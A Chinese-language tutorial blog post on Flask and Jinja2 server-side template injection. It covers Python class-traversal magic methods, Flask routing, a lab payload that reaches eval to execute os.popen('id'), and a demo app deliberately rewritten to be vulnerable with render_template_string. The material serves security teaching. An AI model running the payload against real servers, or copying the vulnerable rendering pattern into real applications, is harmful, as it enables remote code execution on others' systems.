flask部分漏洞
Flask
前置知识
什么是flask
Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务,在介绍Flask之前首先来聊下它和Django的联系以及区别,django个大而全的web框架,它内置许多模块,flask是一个小而精的轻量级框架,Django功能大而全,Flask只包含基本的配置, Django的一站式解决的思路,能让开发者不用在开发之前就在选择应用的基础设施上花费大量时间。Django有模板,表单,路由,基本的数据库管理等等内建功能。与之相反,Flask只是一个内核,默认依赖于2个外部库: Jinja2 模板引擎和 WSGI工具集--Werkzeug , flask的使用特点是基本所有的工具使用都依赖于导入的形式去扩展,flask只保留了web开发的核心功能。
什么是ssti
(1) 服务端模板引擎
模板引擎是为了使用户界面与业务数据分离而产生,它可以生成特定格式的文档,利用模板引擎来生成前端的 HTML 代码,模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 HTML 页面,然后反馈给浏览器,呈现在用户面前。
- 常见的模板引擎有 Java 的 Thymeleaf,Python 的 Flask 等。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
SSTI(Server-Side Template Injection) 服务端模板注入
服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。
- 在jinja2中,存在三种语句:控制结构 {% %}、变量取值 {{ }}、注释 {# #}。
- jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。
- 在Jinja2引擎中,{{}}不仅仅是变量标示符,也能执行一些简单的表达式。
- 模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
(2) 注入的理解
注入的本质就是格式化字符串漏洞的一种体现。
开发者本来认为我们应该插入正常数据的地方插入了 SQL 语句,这就破坏了原本的 SQL 语句的格式,从而执行了与原句完全不同含义的 SQL 语句达到了攻击者的目的,同理 XSS 在有些情况下的闭合标签的手法也是利用了格式化字符串这种思想,总之,凡是出现注入的地方就有着格式化字符串的影子。
SSTI 的原因和 SQL 注入是一样的,也就是将语句闭合,产生注入的效果
(3)ssti注入检测流程


(4)父类和子类
object是父子关系的顶端,所有的数据类型最终的父类都是object
代码分析父子类
执行
class A: pass #父类A
class B(A): pass
class C(B): pass
class D(B): pass
c=C() #实例化成对象c
print(c.__class__) #查看当前c属于的类
print(c.__class__.__base__) #查看当前所属类的父类 本例中是B
print(c.__class__.__base__.__base__)
print(c.__class__.__base__.__base__.__base__)
print(c.__class__.__mro__) #罗列所有的类
print(c.__class__.__mro__[1].__subclasses__()) #罗列出B(下标为1)下的子类
print(c.__class__.__mro__[1].__subclasses__()[1]) #用B类的子类
输出
<class '__main__.C'>
<class '__main__.B'>
<class '__main__.A'>
<class 'object'>
(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
[<class '__main__.C'>, <class '__main__.D'>]
<class '__main__.D'>
魔术方法
__class__
查找当前对象的所属类
__base__
查看当前所属类的父类
__mro__
查找当前类对象的所有继承类
__subclasses__
查找父类下的所有子类
__globals__
以dict形式返回函数所在模块命名空间中的所有变量
(5)flask中用到的url_for函数
1 什么是url?
url是统一资源定位符(Uniform Resource Locator的简写),对可以从互联网上得到的资源的位置和访问方法的一种简洁的表示,是互联网上标准资源的地址。互联网上的每个文件都有一个唯一的URL,它包含的信息指出文件的位置以及浏览器应该怎么处理它。

一个URL由以下几部分组成:
scheme://host:port/path/?parameter=xxx#anchor
https://www.baidu.com/Public/linux/?fr=aladdin#23
- scheme:代表的是访问的协议,一般为http或者https以及ftp等。
- host:主机名,域名,比如www.baidu.com。
- port:端口号。当你访问一个网站的时候,浏览器默认使用80端口。
- path:路径。比如:www.baidu.com/Public/linux/?python=aladdin#23,www.baidu.com后面的Public/linux就是path。
- query-string:查询字符串,比如:www.baidu.com/Public/linux/?python=aladdin#23,?后面的
python=aladdin就是查询字符串。 - anchor:锚点,后台一般不用管,前端用来做页面定位的。比如:https://www.oldboyedu.com/Public/linux/?fr=aladdin#23 ,#后面的23就是锚点。(锚点可用来作目录)
2 为什么要有url?
顾名思义统一资源定位符,是用来做定位用的,我们的web开发无非是要调用程序,而调用的具体程序我们称之为python的视图函数,URL建立了与Python视图函数一一对应的映射关系,通俗易懂可以理解为一条命令触发了一个python的函数或类。
3 如何应用url?
3.1 url和路由的区别。
我们调用接口需要调用的是一段具体的代码,也就是一个python类或者python函数,而url就是对这段代码的具体映射,也就是说我们可以通过url找到一个具体的python类或者python函数,这便是url。而路由是根据url定位到具体的pyhon类或python函数的程序,这段程序我们称之为路由。
在Flask程序中使用路由我们称之为注册路由,是使用程序实例提供的app.route()装饰器注册路由,而括号内的字符串就是url,注册路由的过程就是完成了 url和python类或函数映射的过程,可以理解为会有一张表保存了url与python类或函数的对应关系。这样我们以url访问flask就可以找到对应的程序。
例:
@app.route('/')
def hello_world():
return 'Hello World!'
按照这种关系我们再写一个路由
@app.route('/student_list/')
def student_list():
return 'students'
3.2 url传参的两种
3.2.1 动态路由传参
如果你仔细观察日常所用服务的某些URL格式,会发现很多地址中都包含可变部分。例如,你想根据学生的id找到具体的学生,http://127.0.0.1:5000/student_list/<student_id>/ 仍然在path部分 ,但是你没必要写多个路由,我们Flask支持这种可变的路由。
见代码:
@app.route('/student_list/<student_id>/')
def student_list(student_id):
return '学生{}号的信息'.format(student_id)
123

关键字:在path中有可变的部分 ,达到了传参的效果,我们称之为动态路由传参
3.2.1.1 动态路由的过滤
可以对参数限定数据类型,比如上面的文章详情,限定student_id必须为整数类型
@app.route('/student_list/<int:student_id>/')
def article_detail(student_id):
return '学生{}号的信息'.format(student_id)
123


主要有这几种类型过滤:
string: 默认的数据类型,接收没有任何斜杠"\ /"的字符串
int: 整型
float: 浮点型
path: 和string类型相似,但是接受斜杠,如:可以接受参数/aa/bb/cc/多条放在一起
uuid: 只接受uuid格式的字符串字符串,
提示:uuid为全宇宙唯一的串
上面几种约束均为如下格式,例子中的int可以换为 string,float,path,uuid:
@app.route('/student_list/<int:student_id>/')
def article_detail(student_id):
return '学生{}号的信息'.format(student_id)
123
any: 可以指定多种路径,如下面的例子
url_path的变量名是自己定义的
@app.route('/<any(student,class):url_path>/<id>/')
def item(url_path, id):
if url_path == 'student':
return '学生{}详情'.format(id)
else:
return '班级{}详情'.format(id)
123456


动态路由的适用场景?
如果想增加网站的曝光率,可以考虑使用动态路由,因为是把path作为参数,搜索引擎的算法会定义你为一个静态页面,不会经常改变,有利于搜索引擎的优化。但是如果是公司内部的管理系统就没有必要使用动态路由,因为内部系统对曝光率没有要求。
关键词:
- 上面我们接受参数使用的是path(路径)形式,这种传参的形式就叫动态路由传参,有利于搜索引擎的优化。
3.2.2 查询字符串传参
我们上面介绍了什么是查询字符串:
如果我们在浏览器中输入<www.baidu.com/s?wd=python&ad=flask>的参数,这个 ? 后的key=value便是查询字符串,
可以写多个key=value用&相连我们将查询字符串作为参数去请求我们的flask程序,这便是查询字符串传参。
我们之前再注册路由的时候会在里面的path部分以及函数的形参设置参数来接受path的参数,我们在查询字符串传参的时候需要从flask模块里面导入request对象,用request.args属性在我们的程序中根据查询字符串的key取出查询字符串的value。
args 是request的一个属性,其本质是一个Werkzeug依赖包的的immutableMultiDict的对象,用于解析我们传入的查询字符串,immutableMultiDict对象也继承了Dict类,所以可以使用字典的.get()方法来获取,当然了如果我们有获取原生未解析的原生查询字符串的需求,可以使用query_string属性。
url_for实现函数找路由
from flask import Flask, url_for
app = Flask(__name__)
@app.route('/index')
def home():
return f'Hello World!'
@app.route('/show_url')
def show_url():
url = url_for('home') //第一个参数是函数的名字,但是返回的是该函数的路由地址
return f'反向查找到的URL地址: {url}'
if __name__ == '__main__':
app.run(debug=True)
flask ssti
靶场
访问http://ip:8000

接受参数name


payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
个人搭建
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>个人简历</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
}
.container {
width: 80%;
margin: 20px auto;
padding: 20px;
border: 1px solid #ddd;
position: relative;
}
h1 {
text-align: center;
}
.info {
margin-bottom: 20px;
}
.info label {
font-weight: bold;
}
.info span {
margin-left: 10px;
}
.education, .experience {
margin-bottom: 20px;
}
.education h2, .experience h2 {
border-bottom: 1px solid #ddd;
padding-bottom: 5px;
}
.education ul, .experience ul {
list-style-type: none;
padding: 0;
}
.education ul li, .experience ul li {
margin-bottom: 10px;
}
.profile-image {
position: absolute;
top: 20px;
right: 20px;
width: 100px;
height: auto;
}
</style>
</head>
<body>
<div class="container">
<h1>个人简历</h1>
<div class="info">
<label>姓名:</label><span>ykkx</span>
</div>
<div class="info">
<label>性别:</label><span>男</span>
</div>
<div class="info">
<label>年龄:</label><span>18岁</span>
</div>
<div class="info">
<label>电话:</label><span>1008611</span>
</div>
<div class="info">
<label>邮箱:</label><span>ykkx@qq.com</span>
</div>
<div class="education">
<h2>教育背景</h2>
<ul>
<li>2022年-2024年,网络工程专业,本科</li>
</ul>
</div>
<div class="experience">
<h2>工作经历</h2>
<ul>
<li>
<strong>2023年-至今,某网络安全公司,网络安全工程师</strong>
<p>
在此期间,我负责公司的网络安全防护和监控,具体职责包括:
<ul>
<li>设计和实施网络安全策略,确保公司网络和数据的安全。</li>
<li>进行网络安全风险评估,及时发现并修复潜在的安全漏洞。</li>
<li>监控网络活动,分析异常行为,预防和响应网络攻击。</li>
<li>负责入侵检测系统(IDS)和入侵防御系统(IPS)的配置和维护。</li>
<li>执行安全审计,确保公司遵守相关法规和标准。</li>
<li>进行安全培训和意识提升,提高员工对网络安全的认识。</li>
<li>参与应急响应,处理网络安全事件。</li>
</ul>
</p>
</li>
</ul>
</div>
</div>
{{ssti}}
</body>
</html>
app.py
from flask import Flask,render_template,request
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
ssti=request.args.get('ykkx')
return render_template("index.html",ssti=ssti)
@app.route('/test/ykkx/')
def ykkx_test():
print("successful!!!")
return "you are right!!!"
@app.route('/test2')
def test2():
ykkxT = request.args.get('ykkxT') # 获取 URL 查询参数 'ykkxT'
return "this is your input string: " + ykkxT
if __name__ == '__main__':
app.run(host='0.0.0.0', port='6686')
分析
通过get传参的方式将ykkx的值赋给ssti,ssti通过render_template加载到body中,ssti是被{{}}包括起来的,会被预先渲染转义,然后才被输出,不会被渲染执行

修改代码使之产生漏洞
app.py
from flask import Flask,render_template_string,request
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
ssti=request.args.get('ykkx')
html_new='''
<html>
<head>this is test</head>
<body>this is a test about ssti<br>{0}</body>
</html> '''.format(ssti)
return render_template_string(html_new)
@app.route('/test/ykkx/')
def ykkx_test():
print("successful!!!")
return "you are right!!!"
@app.route('/test2')
def test2():
ykkxT = request.args.get('ykkxT') # 获取 URL 查询参数 'ykkxT'
return "this is your input string: " + ykkxT
if __name__ == '__main__':
app.run(host='0.0.0.0', port='6686')


分析,ssti值通过format()函数填充到body中间,{}里可以定义任何参数,return render_template_string会把{}内的字符串当成代码指令
flask部分漏洞的更多相关文章
- SSTI-服务端模板注入漏洞
原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...
- 1. SSTI(模板注入)漏洞(入门篇)
好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...
- X-NUCA联赛WEB赛前指导write-up
第一关 审查代码发现有隐藏的连接,访问,flag一闪而过.打开burpsuite,设置好代理,然后重新访问,在历史里找相应的回复包,得到flag. 第二关 审查元素 修改按钮为可用 抓获一个POST包 ...
- SSTI-服务端模板注入
SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...
- SSTI(模板注入)
SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...
- 刷题[FBCTF2019]Event
解题思路 信息收集 打开发现是这样的登陆框,信息泄露,弱口令什么的尝试一下,无果,正常注册登陆 发现需要通过admin用户登陆,并且发现有/flag这样的路由,猜测后台为python编写 抓包发现有看 ...
- Flask(Jinja2) 服务端模板注入漏洞(SSTI)
flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...
- Python——flask漏洞探究
python的用途是真的多,就连网站也能做,这个有点像Java的Servlet flask基础 hello world 我们先从基础的开始,在网页上打出hello world,python代码如下: ...
- 使用 flask 构建我的 wooyun 漏洞知识库
前言 最近在学 flask,一段时间没看,又忘得差不多了,于是弄这个来巩固一下基础知识 漏洞总共包括了 88820 个, Drops 文章总共有 1235 篇,全来自公开数据,在 Github 上收集 ...
- SZhe_Scan碎遮:一款基于Flask框架的web漏洞扫描神器
SZhe_Scan碎遮:一款基于Flask框架的web漏洞扫描神器 天幕如遮,唯我一刀可碎千里华盖,纵横四海而无阻,是谓碎遮 --取自<有匪> 写在前面 这段时间很多时间都在忙着编写该项目 ...
随机推荐
- 浅谈Spring、Spring MVC、Spring Boot和Spring Cloud的关系和区别
Spring 框架就像一个家族,有众多衍生产品,例如 boot.security.jpa等等.但它们的基础都是Spring的IOC和AOP等.IOC提供了依赖注入的容器,AOP解决了面向横切面编程 ...
- DeepSeekMath -- GRPO
Deepseek系列博客目录 Model 核心 Date DeepSeekLLM 探究LLM Scalling Law 2024.01 DeepSeekMath 提出GRPO 2024.04 Deep ...
- 关于Android studio项目崩溃报Binary XML file line #2: Error inflating class类错误解决办法
以上是错误, 记录一下:查找方式:1.查看LOG日志,查看错误位置,以及问题.2.查找到问题后进行翻译,翻译后没有头绪,则仔细查看该错误,定位关键词比如上面:XML.line #2.MainActiv ...
- 工程师都喜欢的一款自动生成网格的仿真软件——Hyperworks到底好不好用?
HyperWorks是一款广泛应用于工程仿真和优化的软件平台,其中包括了许多强大的工具和功能.其中的网格自动生成工具是其重要组成部分之一,对于工程仿真和优化来说具有重要的意义.那么,HyperWork ...
- [CSP-S 2022] 策略游戏
link 历年来最简单的 T2. 我们直接暴力分讨: 首先不考虑 \(0\). A 区间全为正数 (1) B 区间全为正数,A 取最大, B 取最小 (2) B 区间有正有负,A 取最小,B 取最小 ...
- GAMES 103 动画基础作业1 Shape Matching 浅浅解析
简介 作业1简单实现了一个以一定初始速度和角速度的模型和墙壁碰撞的效果. 总共讲解了三种算法 impulse (脉冲法) Shape Matching(基于形状保持的算法, 不包含物理特性) Pena ...
- 入门书籍 web前端开发最佳实践
高效web前端开发 book PageSpeed 出自google公司 是一款 免费的工具 性能分析 Timeline网页交互 和渲染 所要花费的时间 Profile谁 可以查看网页c ...
- 生成一个Cylinder
简介 用到了上一个博客的,AddPolygon. 生成的是一个筒状物体. 代码 // CreateCylinder.cpp: 定义控制台应用程序的入口点. // //#include "st ...
- HTML emoji 参考列表
emoji后第一个为十进制表示值,第二个为十六进制表示值,使用时任选一个即可,加上符号文字表示方式 如: 十进制 ⌚ 十六进制 ⌚ 8986 231A 8987 231B 9193 23E9 9194 ...
- USB3.0 PHY方案(FT601Q)在 FPGA上的速率验证
一.背景 高通量在体神经信号采集系统,随着通道数增加.增加实时刺激需求等,采用以太网传输面临带宽极限,亟需一种更快的传输介质. 目前以太网的带宽极限:实测800Mbit/s左右,[移植并使用Iperf ...